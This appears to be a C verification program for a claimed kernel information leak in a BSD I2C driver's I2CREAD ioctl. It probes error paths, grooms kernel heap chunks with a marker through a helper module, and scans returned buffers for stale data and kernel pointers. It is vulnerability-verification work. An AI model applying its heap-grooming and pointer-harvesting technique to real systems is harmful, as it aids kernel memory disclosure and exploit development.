/*
 * iicread2308.c -- DF-2308 verification: does the I2CREAD ioctl disclose
 * uninitialized kernel heap memory to userspace?
 *
 * Claim under test (sys/bus/iicbus/iic.c, iicioctl I2CREAD):
 *   :343  buf = kmalloc((unsigned long)s->count, M_TEMP, M_WAITOK);
 *   :344  error = iicbus_read(parent, buf, s->count, &count, s->last, 10);
 *   :345  if (error)
 *   :346          break;                      <- error path: NO copyout
 *   :347  error = copyout(buf, s->buf, s->count);  <- REQUESTED, not count
 *
 * The leak premise requires iicbus_read() to return SUCCESS while filling
 * FEWER than s->count bytes (the tail of the non-zeroed kmalloc chunk would
 * then be copied out verbatim).  This program exercises every reachable
 * path of I2CREAD live, against the production iic.ko/iicbus.ko/iicbb.ko
 * stack instantiated by the DF-5539 harness (emulated I2C slave: ACKs any
 * address byte != 0x6e, TX pattern 0xc0,0xc1,... on reads):
 *
 *  E1  I2CREAD with no prior I2CSTART:
 *        iiconf.c iicbus_read() wrapper -> !sc->started -> EINVAL,
 *        and the user buffer must be untouched (no copyout on error).
 *  E2  I2CSTART to the NACKed address byte 0x6e -> IIC_ENOACK (errno 2),
 *        sc->started stays 0, following I2CREAD -> EINVAL, untouched.
 *  E3  I2CSTART to the even (write-direction) address byte 0x50 -> success
 *        but started&LSB==0, so I2CREAD -> EINVAL, untouched.
 *  S1  SUCCESS PATH, groomed: for N in {64,256,512,1024,2048}: kernel-side
 *        groom (groom5558.ko: kmalloc+fill+kfree of an M_TEMP chunk of
 *        exactly N, marker "DF5558STALEHEAP!") immediately followed by
 *        I2CSTART(0x51) + I2CREAD(count=N, last=1).  The I2CREAD kmalloc at
 *        iic.c:343 recycles the groomed chunk; if the leak premise held,
 *        any byte NOT overwritten by the driver would come back as marker /
 *        stale heap.  Expect: rc=0 and EVERY byte == (0xc0+i) pattern.
 *  S2  SUCCESS PATH, ungroomed, N=16384: same, larger read.
 *
 * Verdict logic: leak manifests only if a success-path attempt returns
 * bytes that are not the slave TX pattern (marker or stale junk).
 *
 * Environment: /dev/iic0 from the DF-5539 harness stack; groom5558.ko
 * loaded for S1.  Run as root (device node is 0600 root:wheel).
 *
 * Usage: iicread2308 [/dev/iic0]
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/sysctl.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct iiccmd {
	u_char slave;
	int count;
	int last;
	char *buf;
};

#define I2CSTART	_IOW('i', 1, struct iiccmd)
#define I2CSTOP		_IO('i', 2)
#define I2CREAD		_IOW('i', 5, struct iiccmd)

#define NACK_ADDR	0x6e	/* emulated slave NACKs this address byte */
#define WR_ADDR		0x50	/* ACKed, write-direction (even) */
#define RD_ADDR		0x51	/* ACKed, read-direction (odd) */
#define TX_BASE		0xc0	/* slave TX pattern base */
#define PREFILL		0xAA

static const uint8_t *
find_sub(const uint8_t *hay, int hlen, const char *needle, int nlen)
{
	int i, j;

	for (i = 0; i + nlen <= hlen; i++) {
		for (j = 0; j < nlen; j++)
			if (hay[i + j] != (uint8_t)needle[j])
				break;
		if (j == nlen)
			return (hay + i);
	}
	return (NULL);
}

static void
groom(int size)
{
	int one = 1, v;
	size_t len = sizeof(v);

	if (sysctlbyname("df5558.groom_size", &v, &len, &size, sizeof(size)) != 0)
		err(1, "sysctl df5558.groom_size (is groom5558.ko loaded?)");
	if (sysctlbyname("df5558.groom_run", NULL, NULL, &one, sizeof(one)) != 0)
		err(1, "sysctl df5558.groom_run");
}

static int	/* returns 0 = all bytes are TX pattern, else mismatch count */
check_pattern(const uint8_t *ub, int n)
{
	int i, bad = 0;

	for (i = 0; i < n; i++)
		if (ub[i] != (uint8_t)(TX_BASE + i))
			bad++;
	return (bad);
}

static int	/* count kernel-realm pointer qwords */
count_kptrs(const uint8_t *ub, int n)
{
	int i, ptrs = 0;

	for (i = 0; i + 8 <= n; i += 8) {
		uint64_t q;
		memcpy(&q, ub + i, 8);
		if ((q >> 48) == 0xffff && (q & 0xffffffff) != 0)
			ptrs++;
	}
	return (ptrs);
}

static int untouched_p(const uint8_t *ub, int n)
{
	int i;

	for (i = 0; i < n; i++)
		if (ub[i] != PREFILL)
			return (0);
	return (1);
}

/* one error-path probe: run I2CREAD, expect rc=-1/errno, buffer untouched */
static void
probe_error(const char *name, int fd, int count, int expect_errno)
{
	struct iiccmd s;
	uint8_t ub[64];
	int rc;

	memset(ub, PREFILL, sizeof(ub));
	memset(&s, 0, sizeof(s));
	s.count = count;
	s.last = 1;
	s.buf = (char *)ub;

	errno = 0;
	rc = ioctl(fd, I2CREAD, &s);
	printf("E  %-34s rc=%d errno=%d (expect %d) untouched=%s\n",
	    name, rc, rc ? errno : 0, expect_errno,
	    untouched_p(ub, sizeof(ub)) ? "YES" : "NO!!!");
}

/* one success-path attempt: groom (optional), START, READ N, STOP */
static void
attempt_read(int fd, int n, int use_groom)
{
	struct iiccmd s;
	uint8_t *ub;
	int rc, bad, ptrs;

	ub = malloc(n);
	memset(ub, PREFILL, n);

	if (use_groom)
		groom(n);

	memset(&s, 0, sizeof(s));
	s.slave = RD_ADDR;
	rc = ioctl(fd, I2CSTART, &s);
	if (rc != 0) {
		printf("S  size=%-6d groom=%d I2CSTART rc=%d errno=%d  "
		    "UNEXPECTED (harness/slave issue)\n", n, use_groom,
		    rc, errno);
		free(ub);
		return;
	}

	memset(&s, 0, sizeof(s));
	s.count = n;
	s.last = 1;
	s.buf = (char *)ub;
	errno = 0;
	rc = ioctl(fd, I2CREAD, &s);

	ioctl(fd, I2CSTOP);

	bad = check_pattern(ub, n);
	ptrs = count_kptrs(ub, n);
	printf("S  size=%-6d groom=%d rc=%d errno=%d pattern_bad=%d "
	    "marker=%s kptr-qwords=%d%s\n",
	    n, use_groom, rc, rc ? errno : 0, bad,
	    find_sub(ub, n, "ALEHEAP!", 8) ? "YES" : "no",
	    ptrs,
	    (rc == 0 && bad == 0) ? "  (all bytes = slave TX pattern)" :
	    "  <== NON-PATTERN BYTES RETURNED");

	if (rc == 0 && bad > 0 && bad <= 48) {
		int i;
		printf("     first mismatches:");
		for (i = 0; i < n && bad > 0; i++)
			if (ub[i] != (uint8_t)(TX_BASE + i)) {
				printf(" [%d]=%02x(exp %02x)", i, ub[i],
				    (uint8_t)(TX_BASE + i));
				bad--;
			}
		printf("\n");
	}
	free(ub);
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/iic0";
	struct iiccmd s;
	int fd, i, n;
	int sizes[] = { 64, 256, 512, 1024, 2048 };

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);

	printf("DF-2308 I2CREAD exerciser on %s\n", dev);
	printf("claim: copyout of s->count bytes after a short-but-successful "
	    "iicbus_read()\n       discloses the uninitialized kmalloc tail\n\n");

	/* ---- error paths: no copyout may happen at all ---- */
	probe_error("E1 no-start I2CREAD", fd, 32, EINVAL);

	memset(&s, 0, sizeof(s));
	s.slave = NACK_ADDR;
	i = ioctl(fd, I2CSTART, &s);
	printf("E2 I2CSTART(NACK 0x6e)          rc=%d errno=%d (expect -1/2 "
	    "IIC_ENOACK)\n", i, i ? errno : 0);
	probe_error("E2 after-NACK I2CREAD", fd, 32, EINVAL);

	memset(&s, 0, sizeof(s));
	s.slave = WR_ADDR;
	i = ioctl(fd, I2CSTART, &s);
	printf("E3 I2CSTART(write-dir 0x50)     rc=%d (expect 0)\n", i);
	probe_error("E3 wrong-direction I2CREAD", fd, 32, EINVAL);
	ioctl(fd, I2CSTOP);
	printf("\n");

	/* ---- success path, groomed and ungroomed ---- */
	for (i = 0; i < (int)(sizeof(sizes) / sizeof(sizes[0])); i++)
		attempt_read(fd, sizes[i], 1);
	for (i = 0; i < (int)(sizeof(sizes) / sizeof(sizes[0])); i++)
		attempt_read(fd, sizes[i], 0);
	attempt_read(fd, 16384, 0);

	/* repeat groomed set for stability */
	n = 0;
	for (i = 0; i < (int)(sizeof(sizes) / sizeof(sizes[0])); i++) {
		uint8_t dummy;
		struct iiccmd t;
		(void)dummy; (void)t; (void)n;
		attempt_read(fd, sizes[i], 1);
	}

	close(fd);
	return (0);
}
